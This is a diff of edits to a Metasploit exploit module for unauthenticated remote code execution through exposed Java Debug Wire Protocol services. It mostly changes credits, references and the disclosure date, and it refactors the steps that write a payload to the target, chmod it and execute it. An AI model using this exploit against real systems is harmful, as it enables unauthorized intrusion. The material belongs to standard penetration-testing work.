@@ -68,18 +68,16 @@ class Metasploit3 < Msf::Exploit::Remote
68
68
STEP_MIN = 0
69
69
THREAD_SLEEPING_STATUS = 2
70
70
71
-
72
71
def initialize
73
72
super (
74
73
'Name' => 'Java Debug Wire Protocol Remote Code Execution' ,
75
74
'Description' => %q{
76
75
This module abuses exposed Java Debug Wire Protocol services in order
77
- to execute arbitrary Java code remotely. It just uses the protocol
76
+ to execute arbitrary Java code remotely. It just abuses the protocol
78
77
features, since no authentication is required if the service is enabled.
79
78
} ,
80
79
'Author' => [
81
- 'prdelka' , # Vulnerability discovery
82
- 'Michael Schierl' , # First exploit seen
80
+ 'Michael Schierl' , # Vulnerability discovery / First exploit seen / Msf module help
83
81
'Christophe Alladoum' , # JDWP Analysis and Exploit
84
82
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
85
83
] ,
@@ -88,8 +86,8 @@ def initialize
88
86
[ 'OSVDB' , '96066' ] ,
89
87
[ 'EDB' , '27179' ] ,
90
88
[ 'URL' , 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html' ] ,
89
+ [ 'URL' , 'http://seclists.org/nmap-dev/2010/q1/867' ] ,
91
90
[ 'URL' , 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java' ] ,
92
- [ 'URL' , 'http://www.exploit-db.com/papers/27179/' ] ,
93
91
[ 'URL' , 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse' ] ,
94
92
[ 'URL' , 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html' ]
95
93
] ,
@@ -116,7 +114,7 @@ def initialize
116
114
] ,
117
115
'DefaultTarget' => 0 ,
118
116
'License' => MSF_LICENSE ,
119
- 'DisclosureDate' => 'May 29 2014 '
117
+ 'DisclosureDate' => 'Mar 12 2010 '
120
118
)
121
119
122
120
register_options (
@@ -892,8 +890,10 @@ def exec_payload(thread_id)
892
890
close_file ( thread_id , file )
893
891
894
892
# 5b. When linux arch, give execution permissions to file
895
- cmd = "chmod +x #{ payload_exe } "
896
- execute_command ( thread_id , cmd ) if target [ 'Platform' ] == 'linux'
893
+ if target [ 'Platform' ] == 'linux'
894
+ cmd = "chmod +x #{ payload_exe } "
895
+ execute_command ( thread_id , cmd )
896
+ end
897
897
898
898
# 6. Executes the dumped payload
899
899
cmd = "#{ payload_exe } "
@@ -935,7 +935,7 @@ def exploit
935
935
936
936
unless parse_event ( response , r_id , t_id )
937
937
datastore [ 'NUM_RETRIES' ] . times do |i |
938
- print_status ( "#{ peer } - Received #{ i + 1 } responses that are not a 'step into' event..." )
938
+ print_status ( "#{ peer } - Received #{ i + 1 } responses that are not a 'step into' event..." )
939
939
buf = read_reply
940
940
break if parse_event ( buf , r_id , t_id )
941
941
0 commit comments